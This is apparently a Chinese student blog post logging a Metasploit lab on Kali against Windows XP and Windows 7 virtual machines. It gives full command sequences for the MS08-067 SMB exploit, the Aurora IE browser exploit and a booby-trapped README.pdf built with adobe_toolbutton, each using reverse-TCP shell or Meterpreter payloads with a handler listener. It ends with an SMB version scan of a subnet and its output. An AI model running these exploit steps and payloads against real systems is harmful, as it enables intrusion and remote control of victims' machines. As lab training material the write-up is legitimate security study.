标签:read 网络 防火 too 过程 ora 获取 范围 分享
本次实验的重点在于实践,对于辅助模块的了解、查看文档、说明和使用,通过对msfconsolo命令的操作和使用,对其更加了解和熟练。
在kali终端中,输入msfconsole以进入metasploit的控制台
进入msfconsole中,在msf模式下查找与其相关的漏洞攻击程序search ms08_067
,看到exploit/windows/smb/ms08_067_netapi
的信息
use exploit/windows/smb/ms08_067_netapi \\使用模块
set payload generic/shell_reverse_tcp \\设置载荷种类,通过反向连接来获取shell的generic/shell_reverse_tcp当payload
set LHOST 10.211.55.5
set LPORT 5201
set RHOST 10.211.55.12
exploit
这里攻击失败了
想起来还没ping过,ping了一下没通,尝试关闭Windows XP防火墙
先选用ms11_050模块,攻击win7 ie8,结果ie停止工作。。
在msf模式下查找与其相关的漏洞攻击程序search ms10_002
,看到exploit/windows/browser/ms10_002_aurora
的信息
设置参数
msf exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
//payload => windows/meterpreter/reverse_tcp
msf exploit(windows/browser/ms10_002_aurora) > set LHOST 10.211.55.5
//LHOST => 10.211.55.5
msf exploit(windows/browser/ms10_002_aurora) > set LPORT 5201
//LPORT => 5201
msf exploit(windows/browser/ms10_002_aurora) > set URIPATH lzw
//URIPATH => lzw
msf exploit(windows/browser/ms10_002_aurora) > exploit
使用exploit指令执行漏洞,可以看到生成了一个url:
在当前会话输入sessions -i, 4(具体数值是多少看自己的当前会话)成功获取靶机的shell,可以对其进行操作
search adobe
msf > use exploit/windows/fileformat/adobe_toolbutton
msf exploit(windows/fileformat/adobe_toolbutton) > set payload windows/meterpreter/reverse_tcp
//payload => windows/meterpreter/reverse_tcp
msf exploit(windows/fileformat/adobe_toolbutton) > set LHOST 10.211.55.5
//LHOST => 10.211.55.5
msf exploit(windows/fileformat/adobe_toolbutton) > set LPORT 5201
//LPORT => 5201
msf exploit(windows/fileformat/adobe_toolbutton) > set FILENAME README.pdf
//FILENAME => README.pdf
之后查看一下相关设置
exploit一下
[*] Creating ‘README.pdf‘ file...
[+] README.pdf stored at /root/.msf4/local/README.pdf
记下来生成pdf的位置,直接cp拷出来,然后往xp里面一拖
cp /root/.msf4/local/README.pdf ~
[*] exec: cp /root/.msf4/local/README.pdf ~
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
//payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.211.55.5
//LHOST => 10.211.55.5
msf exploit(multi/handler) > set LPORT 5201
//LPORT => 5201
msf exploit(multi/handler) > exploit
/usr/share/metasploit-framework/modules
auxiliary/scanner/smb/smb_version
,这个模块的作用是扫描操作系统信息扫描范围,线程数
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 10.211.55.1/24
RHOSTS => 10.211.55.1/24
msf auxiliary(scanner/smb/smb_version) > set threads 8
threads => 8
msf auxiliary(scanner/smb/smb_version) > run
[+] 10.211.55.6:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:C3F2) (workgroup:WORKGROUP )
[*] 10.211.55.2:445 - Host could not be identified: ()
[*] Scanned 26 of 256 hosts (10% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 77 of 256 hosts (30% complete)
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 128 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
扫描操作系统结果:windows 7 Professional SP1,用户名C3F2
标签:read 网络 防火 too 过程 ora 获取 范围 分享
原文地址:https://www.cnblogs.com/zhuohua/p/8946873.html